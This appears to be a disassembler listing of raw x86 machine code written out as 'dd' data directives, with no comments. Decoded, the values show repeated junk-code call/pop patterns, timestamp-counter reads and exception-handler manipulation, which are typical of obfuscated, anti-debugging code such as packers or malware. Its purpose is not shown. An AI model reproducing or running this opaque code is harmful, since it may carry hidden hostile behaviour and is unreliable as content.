dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 81661AF6h, 0FF0B17EBh, 38B76FB5h, 2DBD8B09h, 0FF093533h
dd 351C3595h, 55958909h, 0FF093501h, 38B76FB5h, 50006A09h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 0D639AEB2h, 989057D7h, 1AD99D89h, 8B0F0935h, 4, 45FDBF66h
dd 2CE595FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 0E5F9E5C3h, 1DB34E19h, 0BF0F608Eh
dd 61FB8BC7h, 26BDBD83h, 0F020935h, 5D84h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 33227E28h, 0FEF11163h, 0BD98D89h, 858B0935h, 93526ADh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F5C35141h
dd 81D052C7h, 6E5898DFh, 0C60Fh, 11A19D0Bh, 85C70935h
dd 9353265h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C35747h
dd 3610FE48h, 364E526Dh, 13E19589h, 0F5E90935h, 6AFFFFF2h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 1D9EC353h, 0E8D4BF4Bh, 0C18B2756h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 54C35545h, 81AD442Fh
dd 1CCF1EFh, 352DD595h, 59858D09h, 6A093526h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 0C913C351h, 2214C18h, 0E8C744F9h, 0Bh, 201DC5C9h, 0AE793F75h
dd 8B2BF2B6h, 3524F5BDh, 50905B09h, 5C7EBF52h, 310F4691h
dd 5FD98B50h, 0BF50585Ah, 423DA640h, 1597BB90h, 8C0F6EE3h
dd 20h, 1A8C0Fh, 14E80000h, 0B6000000h, 9AC295F1h, 0F4AFBE1h
dd 361B0E56h, 90244816h, 5F7A31AFh, 6A006Ah, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F27F79C3h
dd 97FFED7Ah, 11E97D11h, 74000000h, 86703185h, 0CB2ACB0Eh
dd 0D1D015B6h, 5F77219Bh, 0F0BB006Ah, 8121CE92h, 396469E7h
dd 52858D03h, 6A093A25h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 31E7C352h, 0E2495C22h
dd 0F172CFAh, 9D8BDABFh, 9352CE1h, 6A05C083h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 7B7DC356h, 6BB8E070h, 160D9D89h, 89500935h, 6A2404h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 647D8AC3h, 0BEB596CFh, 0BD31AC9Ch, 9350625h, 6ADE8Bh
dd 6AD98Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 24C35747h, 7A730406h, 750A2184h, 68B0F52h, 89000000h
dd 351B6DB5h, 80605F09h, 0FBB1BAF4h, 3195FF61h, 6A093503h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 5D9DC352h, 0CAD7F3A1h, 9BE1BA11h, 3830Fh
dd 8B660000h, 0AB8D8DF8h, 309389Ah, 3501A19Dh, 8BD1FF09h
dd 3529099Dh, 19BD8309h, 109351Ch, 0D6850Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0C5EC76C3h, 45BD89C2h, 6A093503h, 55006A02h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0F89E28C5h
dd 30A99D8Bh, 0BD8B0935h, 93516C9h, 52525090h, 5AFABB66h
dd 66310F5Bh, 5A29B1BFh, 0F605058h, 481h, 0D0BA6600h, 6880F24h
dd 0F000000h, 8Eh, 6A906100h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0A470C355h, 47E5076Bh
dd 85039A94h, 0FFDEBF0Fh, 35115195h, 50006A09h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 87A8323Bh
dd 2FCD9589h, 0E7810935h, 138E7F28h, 0D07E9h, 0E800h, 815D0000h
dd 3A255CEDh, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 59D8BC0h, 3093512h, 352809BDh, 9D9D8B09h
dd 8D093508h, 38932B85h, 50006A09h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 9401D2B0h, 0C4CEE3ECh
dd 13E94Ch, 0F30E0000h, 0C0709BBAh, 0EA66694Ch, 0F6103E4Eh
dd 73CF675Bh, 85236057h, 9352C75h, 585A5350h, 0E8609061h
dd 6, 4029A2Dh, 0E78ACCBFh, 6050615Eh, 0BE8h, 0D2C4C400h
dd 0E7CF1BCDh, 0C3C1E1A0h, 0EE8h, 395E7500h, 0A4905326h
dd 9CD3738Bh, 59C9DF93h, 800F5Fh, 61000000h, 64FA8A90h
dd 35FFh, 77B30000h, 258964h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0AC5AC352h
dd 0BF66FB46h, 85FFBC8Eh, 9353009h, 1F158529h, 0FF6A0935h
dd 0CE8h, 63666000h, 0CEC4405Ah, 4182A327h, 6DBD894Dh
dd 5F093523h, 3095B5FFh, 95FF0935h, 9352EB9h, 0FEE9h, 0BBBBB00h
dd 8E0F7228h, 6, 0EE58D89h, 0B00935h, 0E6BFCF80h, 21BD2970h
dd 0E409352Dh, 51F78171h, 3C19CC05h, 0D0830F61h, 0F000000h
dd 68Fh, 71958900h, 0B093512h, 350425BDh, 0C8B60F09h, 4109BB66h
dd 6BAh, 0C18BF900h, 0C359D8Bh, 0E8C10935h, 66DF8B04h
dd 8529E2F7h, 9351EEDh, 8531C82Bh, 93516C9h, 9D23D18Bh
dd 93517B1h, 86E9h, 0DFB70F00h, 4C4C858Bh, 820F505Fh, 6
dd 12B9BD89h, 0C0830935h, 0B19D8B07h, 83093525h, 92BB00C0h
dd 8176EF8Ch, 0F6C97CC3h, 0FD03B2Fh, 1383h, 9D895100h
dd 9350055h, 45E95Bh, 9D0B0000h, 935058Dh, 0FFFF8D8Bh
dd 0F56FFFFh, 835FDEB7h, 840F01E1h, 2Bh, 261DB529h, 0BF660935h
dd 0A58330BEh, 0FFFFFFFFh, 6820FFEh, 89000000h, 35333595h
dd 4C958909h, 0F505F4Ch, 0E9DFBFh, 8D000000h, 39A166B5h
dd 0EE909h, 57EA0000h, 40DB82ADh, 0EEFCB37Fh, 0D13848BAh
dd 0BF0F006Ah, 0BD0B60FBh, 9352A8Dh, 5E9h, 0E8C2E300h
dd 0FF61F9AFh, 35082995h, 87CB8009h, 0FD6B9h, 7ABB6600h
dd 0FCE183C6h, 6AFCDE8Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 0A6A6C352h, 6E406420h
dd 8904F380h, 350B5985h, 0B809h, 9D8B0000h, 9351AFDh, 6AD22Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 31149EC3h, 0F7850AD1h, 33ADF930h, 3E8D1C2h, 4E983D0h
dd 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 0E4A280C3h, 806CF5B4h, 50006A01h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 6A737492h
dd 0E9C6CA1Ah, 0Eh, 0CEA5746Ch, 5B010336h, 0F340BF68h
dd 0BD232144h, 9350039h, 880Dh, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 26D266Bh, 77229A4Dh
dd 6800Fh, 9D8B0000h, 9350371h, 958BD88Bh, 9351629h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CC35040h, 0EE39D653h
dd 0FAE9C68Dh, 68D0FE1h, 1000000h, 3530A985h, 7D8D8B09h
dd 56093528h, 5FF9BF0Fh, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 0BD8B5818h, 9350811h, 49BD83F8h, 93512h
dd 61840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 515D8DC3h, 2F58810Ch, 0B878h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 8BE3BFC3h, 35272DBDh, 119D8B09h, 8D09350Bh, 354C028Dh
dd 33BB6609h, 66E1FFA5h, 8343C9BBh, 352255BDh, 840F0009h
dd 446h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 0FDC35646h, 8949BB4Dh, 351035B5h, 599D0909h, 8309350Ah
dd 352255BDh, 840F0109h, 429h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 80C35343h, 0A359D8Bh, 0BD830935h
dd 9352255h, 0C4860F03h, 89000003h, 353341B5h, 6A6009h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 0CA7127C3h, 8166C3EBh, 809833D3h, 0BD89FDCBh, 9350DC1h
dd 0E8D98C66h, 10h, 5E64CE7h, 0BB4B74AAh, 0FC1321DFh, 0BC59B84Eh
dd 805FD98Ah, 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 0CD5A8C3h, 0C90AA2C5h, 130840Fh
dd 81660000h, 8BFF3CDFh, 352B6185h, 52006A09h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 9D8B6AE1h
dd 9352765h, 8533FE8Bh, 9350D7Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0DAC35343h, 0A9B58959h, 9009350Fh
dd 0C810Fh, 7E90000h, 4D000000h, 0C86E588Ah, 6650523Fh
dd 90DE44BBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 22C35747h, 0BFBE2170h, 11DE63A1h, 6A006Ah, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 3AD652C3h, 957C9132h, 35BD8B2Fh, 0F093512h, 158Fh, 10E900h
dd 0E04B0000h, 918831CDh, 0D6AA2F1Ah, 0C83EB682h, 7F68BEEFh
dd 0B77C1E1Ah, 243481D8h, 7C011980h, 95FFFCF9h, 9350CDDh
dd 0F19D8B53h, 5F09352Bh, 3830Fh, 0E7800000h, 6F8589D8h
dd 6A0938B7h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 14042444h, 45000000h, 0E9F4C355h, 1CBh, 8B0Fh, 858B0000h
dd 938B767h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 0ACC35747h, 0CFBB66CFh, 1800C791h, 8B000000h, 38B76BB5h
dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 800F2B77h, 16h, 11E9h, 8E73D800h, 7493BFCh
dd 0A640EC23h, 5BC517AAh, 858BD1ACh, 93524D5h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 63C35343h, 8FBC7BF9h
dd 0C1B58959h, 0F9093506h, 0BF660689h, 858BC4D0h, 9352B61h
dd 1655BD8Bh, 46890935h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 7213CF07h, 0FD9647F7h
dd 6890Fh, 0BD890000h, 9352C21h, 50DFB70Fh, 61606056h
dd 12E9h, 11C73A00h, 0EB768E0Dh, 0A63A22AFh, 52496C0Ch
dd 611CA512h, 2434895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 68C35141h, 0DE5B589h, 0B5FF0935h, 938B767h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C2C35040h
dd 21935E0Fh, 0BE13BBFFh, 2259BD03h, 0EE680935h, 52829B5Bh
dd 6E8h, 75854000h, 604E0502h, 815F5F61h, 0A8112404h, 8D017D83h
dd 9351115h, 0B76F858Dh, 6A0938h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 0F849A2C3h, 89192165h
dd 3510CDB5h, 52505009h, 8F0Fh, 310F0000h, 489585Ah, 0C9E38124h
dd 0FF274779h, 350CDD95h, 159D8B09h, 61093524h, 24A19D8Bh
dd 85C70935h, 9352255h, 3, 831AE380h, 38B76FBDh, 840F0009h
dd 33h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh
dd 9DC35141h, 77ACC51h, 810AF49Ah, 0E1AC69D7h, 20E959h
dd 81660000h, 504BF1DBh, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 216A0C3h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 7FC35343h, 0B529FCF1h
dd 9353251h, 2255BD83h, 0F030935h, 39585h, 0D858900h, 83093530h
dd 38B76FBDh, 840F0009h, 382h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 58C35747h, 44374F89h, 8A197CF5h
dd 6FB5FFD9h, 8B0938B7h, 3516BDBDh, 95295209h, 935249Dh
dd 1195FF5Fh, 6A09352Eh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 0B3E8C353h, 8CC5FEF7h
dd 11958967h, 0E909352Fh, 9, 0FBC57757h, 6E9C20AEh, 63B58B64h
dd 660938B7h, 6C7D88Bh, 10001h, 96DAB70Fh, 0BB665660h
dd 0B95BEDA1h, 71968DB4h, 0BF665061h, 6A96A3C3h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 7987C356h, 0BD8B1326h, 9352B99h, 0B76FB5FFh, 8D890938h
dd 93503B5h, 28995FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 0B5DB1DC3h, 0FA8AF261h
dd 0FE860h, 4D570000h, 0D988099Dh, 0D7FB2C9Eh, 0E26888E2h
dd 0D18166A3h, 8B599E33h, 351B69BDh, 0B58B6109h, 938B763h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 18C35040h
dd 37490B41h, 4DF2588Eh, 858BDA8Ah, 9350E99h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0AC35242h, 0A7765225h
dd 89873788h, 0C486h, 8DBD3300h, 8B093531h, 35162995h
dd 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 71D9858Ch, 91977F44h, 2FBD8D89h, 8F0F0935h
dd 6, 29DBD8Bh, 0C2830935h, 56006A04h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 3458F021h
dd 8B1B090Eh, 49BF6678h, 0F5BD8B19h, 89093515h, 0BD8B2050h
dd 9352655h, 0CC07858Dh, 0BB660938h, 8689B018h, 0B8h, 6AFE8B66h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 0FFFB8B2Fh, 38B76FB5h, 1B53109h, 0FF093528h
dd 35115195h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 783D39D7h, 0CF816647h, 66506355h
dd 8927E7BFh, 0AE92434h, 36000000h, 0EF2097C8h, 0DC9F6FA6h
dd 6FB5FFC6h, 0FF0938B7h, 350B5595h, 0F98B6609h, 79BD83h
dd 0F000935h, 3D84h, 9665B300h, 8E9h, 0F43CD300h, 76276B84h
dd 6A965022h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 0AF9CC350h, 3844C0Dh, 79BD8B60h
dd 0B1093507h, 0B5FF61E0h, 938B76Fh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 55C35040h, 61C90A0Dh, 1C3595FFh
dd 9D890935h, 9353231h, 0B76FB5FFh, 0B70F0938h, 0E595FFD9h
dd 0F09352Ch, 284h, 83DC8A00h, 3526BDBDh, 840F0209h, 3Bh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 7BC35141h
dd 2FD38166h, 0AD858B64h, 66093526h, 95D5F381h, 264DBD0Bh
dd 0C60935h, 919D8B00h, 0C7093505h, 35326585h, 9, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 80ACE6C5h, 57E92CD7h, 6AFFFFF4h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 18FCC356h
dd 7A083D09h, 8BA6CB80h, 51006AC1h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 12A9A9FEh, 54FB5BAAh
dd 0BB663337h, 0BD0BC563h, 9352ED1h, 2659858Dh, 0BF0F0935h
dd 8E950D8h, 7E000000h, 9C9CCEABh, 896E620Ah, 6A2404h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 152F0BC3h, 6A19834Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 6D60143Fh, 604136CCh
dd 2A819D31h, 820F0935h, 6, 28E18D29h, 6A610935h, 9BE38100h
dd 8D41C25Ch, 3A343185h, 51006A09h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 0E637918Fh, 5C0834Eh
dd 1D3DBD8Bh, 8B500935h, 240489D9h, 1DC99D8Bh, 6A0935h
dd 1AE18589h, 6A0935h, 95FFD0B7h, 9350331h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D8C35242h, 273E4F9Ah
dd 0C024B893h, 0AB8D8DF0h, 6A09389Ah, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 158AC356h
dd 75BD89BCh, 0FF093500h, 56006AD1h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0B1611256h
dd 6C4275C5h, 0B70F2127h, 19BD83FEh, 109351Ch, 85850Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 28116C3h, 118E0F99h, 0E9000000h, 0Ch, 3BFEF5FEh
dd 0BE833E13h, 0A3A72742h, 6A026Ah, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B5DBFC3h
dd 353341BDh, 0BB665009h, 48937D9h, 53006A24h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 5195FFADh
dd 0E9093511h, 0CE7h, 0E8h, 0ED815D00h, 93A343Bh, 0CE8h
dd 8D10FB00h, 1D16C548h, 0FDE14433h, 9D8B5F5Bh, 93523F5h
dd 0DE9h, 0F970EA00h, 0B3A6CB3Ah, 0F97D91F5h, 9D8B178Dh
dd 9350015h, 932B858Dh, 6A0938h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0FCDF1BC3h, 9870F50h
dd 60000000h, 66C18B66h, 617A29B8h, 6A240489h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 49E5C353h, 0F271A19h, 0FF6442EDh, 35h, 68D0F00h, 81000000h
dd 0FF5BD0CFh, 25896455h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 50C35545h
dd 0BE308A15h, 0DE819D1h, 0D6000000h, 6AE328D0h, 9264FAEAh
dd 0AC85F146h, 0FE9h, 570D5000h, 1ACF3866h, 0B33186FDh
dd 1589CE0Eh, 0F88B665Bh, 300985FFh, 6A0935h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 63DCAAC3h
dd 0F85F9AC8h, 6DBD89ABh, 6A093524h, 798509FFh, 0FF093516h
dd 350D45B5h, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1704h, 0C3504000h, 95D9612Ah, 228D9D8Bh, 95FF0935h
dd 9352EB9h, 0F3E9h, 0AEE6BB00h, 0B033EEh, 31CDBD89h, 70E60935h
dd 2C859D29h, 71E40935h, 29958D29h, 613C0935h, 0CE830Fh
dd 0BF0F0000h, 0C8B60FD8h, 6800Fh, 95890000h, 93529D5h
dd 6BAh, 0BF0F6000h, 0BD8B60F6h, 9350779h, 6161E0B1h, 830FC18Bh
dd 4, 0FB25BB66h, 0F04E8C1h, 388h, 0D8B70F00h, 51E2F766h
dd 1898589h, 2B5B0935h, 8BD98BC8h, 0CDBD8BD1h, 0E909351Dh
dd 74h, 858B45B3h, 4947554Ch, 32F2BB66h, 6007C083h, 3C59503h
dd 83610935h, 816600C0h, 3B365ACBh, 17830FD0h, 89000000h
dd 350A2195h, 42E909h, 95890000h, 9351745h, 1C119D8Bh
dd 8D8B0935h, 0FFFFFFFFh, 0FF37BB66h, 0F01E183h, 2384h
dd 0B5315200h, 9350069h, 0FFA5835Fh, 0FEFFFFFFh, 89DF8B66h
dd 47554C95h, 8D9D8B49h, 0E909350Dh, 0
aN9J db '█╣<╠9',9,'j',0
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0FE88F8C3h, 0F8D0Fh, 0AE90000h, 7000000h, 6BA4707Fh
dd 9447E507h, 5D9D8B9Ah, 6A093528h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0E9AD7678h
dd 0Fh, 0FBB73503h, 3F3F8BB0h, 9A63143h, 0FFBE2763h, 35082995h
dd 7FEB8009h, 10B2B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 8A18675Eh, 1224D225h
dd 0EE9h, 79473000h, 0F7E8FA66h, 0E2C83B9Dh, 8B99EA43h
dd 4DBB66DFh, 0FCE1836Dh, 4219D89h, 29FC0935h, 351679BDh
dd 0B809h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 898241C3h, 351F899Dh, 6AD22B09h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 9AACC355h, 0FF270AABh, 0DB816661h, 33AD45C2h
dd 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 506E10C3h, 4F38166h
dd 719D8B23h, 0D093502h, 88h, 5D5DEF81h, 958B13AEh, 9351629h
dd 0D81B589h, 0B5890935h, 9350A95h, 287D8D8Bh, 0BF660935h
dd 8B502E56h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 12C35040h
dd 816659C9h, 0F803DE3h, 89h, 9EBB6600h, 49BD8342h, 93512h
dd 61840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 4CAC48C3h, 3351DA35h, 9529A158h
dd 935234Dh, 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 0B529BE17h, 93502CDh
dd 4C028D8Dh, 0BB660935h, 0E1FFDC9Eh, 83DEB70Fh, 352255BDh
dd 840F0009h, 44Dh, 0F9AC780h, 0BD83FBBFh, 9352255h, 55840F01h
dd 6A000004h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 382EC352h, 55BD83C7h, 3093522h
dd 3F4860Fh, 0BD8B0000h, 93530A9h, 7E960h, 5ECA0000h, 0D1D1E6E0h
dd 8DADBFAAh, 8C6645A2h, 14E9D9h, 6AAD0000h, 10238B74h
dd 0E3146025h, 0E141CE36h, 67C67310h, 8B0F1530h, 6, 2E598589h
dd 0E1800935h, 51006A04h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0DB6C567Dh, 8928B11Ah
dd 352E0585h, 0B1EB8109h, 0A7A3DB3h, 34840FC9h, 8B000001h
dd 352E919Dh, 61858B09h, 6009352Bh, 2AC9BD33h, 85290935h
dd 93511B5h, 7D853361h, 0E909350Dh, 11h, 84496616h, 4059A42Eh
dd 607AC70Dh, 0C0E80D13h, 8B665094h, 240489DFh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 12C35747h, 54FB5BAAh
dd 0F663337h, 6AFFBFh, 0AFE78166h, 4E809h, 3FF0000h, 11E8001Fh
dd 0A9000000h, 0EABE5BBFh, 0FCAFDF6h, 0B43DDDD6h, 95E3C92Ch
dd 4B0BB66h, 8B66505Fh, 24448BFEh, 0D88B6604h, 6060008Bh
dd 60616160h, 5A56F78Bh, 44896161h, 1BB30424h, 0DD95FF58h
dd 6A09350Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 73AAC357h, 0F25269C0h, 359D8B4Fh
dd 8909351Fh, 38B76F85h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 0E58885D5h, 0F58D17A2h
dd 0F5E90DB3h, 6A000001h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 410C351h, 4D4FFF55h
dd 599D8B85h, 8B09351Bh, 38B76785h, 51006A09h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0C70BE84Eh
dd 1800h, 0D8E78000h, 0B76BB58Bh, 6A0938h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 0DAF9D0C3h
dd 5D9D89CDh, 8B093524h, 350C35BDh, 0D5858B09h, 8B093524h
dd 351F49BDh, 0F068909h, 2DBBF9B7h, 8B65FA1Bh, 352B6185h
dd 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 65B79F10h, 89F84246h, 9D8B0446h, 93511EDh
dd 28259D8Bh, 0F500935h, 284h, 898AB300h, 0B5FF2434h, 938B767h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5DC35242h
dd 3330B548h, 68AAB3FCh, 8E6E5ACDh, 81FE8B66h, 0A9322404h
dd 6A71B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 8B35FFC3h, 80AD1982h, 12E9E5D7h, 2B000000h
dd 923C71A1h, 75902A2Eh, 6BA75F2Fh, 971A6958h, 6F858D42h
dd 6A0938B7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 6392C353h, 707262E6h, 0FD40951h
dd 14E890h, 0B6F00000h, 0D2C29D5Ch, 6203294Bh, 0D168ED2Dh
dd 8BBE8A03h, 880FE79Dh, 6, 8E0Fh, 505F0000h, 8A0F56h
dd 5B000000h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 0E92D1E06h, 6, 20D9D2B8h, 95FF3011h
dd 9350CDDh, 68A0Fh, 85890000h, 935105Dh, 68F0Fh, 9D890000h
dd 9350AB1h, 699D8961h, 0C709352Bh, 35225585h, 309h, 0B1BD8B00h
dd 8309350Eh, 38B76FBDh, 840F0009h, 56h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 16h, 0A3C35343h, 9D89473Fh
dd 93511E9h, 0E9DE8B66h, 45h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 0B4C35040h, 0FB7F927h, 7DEEA9FDh
dd 3189BD8Bh, 30500935h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 0CC380C0h, 31E5BD33h, 0BD830935h
dd 9352255h, 0A2850F03h, 66000003h, 83982CBFh, 38B76FBDh
dd 840F0009h, 391h, 0BBBCCB81h, 0B5FF58EFh, 938B76Fh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 9AC35343h, 66A0BC7Eh
dd 4643C381h, 2E1195FFh, 13E80935h, 51000000h, 0DAFAA8AFh
dd 9EA75C00h, 8BEE0FD2h, 0ED9A46EDh, 68BF7D1Fh, 5B1766ECh
dd 0B763B58Bh, 0FE90938h, 0D6000000h, 5EEFE802h, 824AB473h
dd 9E79EA2h, 6C73992h, 10001h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 2AC35646h, 0D3FD29DDh, 0E8C092E6h
dd 0Ah, 956B2246h, 9DFD344h, 8166A9BAh, 5B4400F7h, 8820F96h
dd 0F000000h, 282h, 50616000h, 6A96FB8Bh, 3E85100h, 20000000h
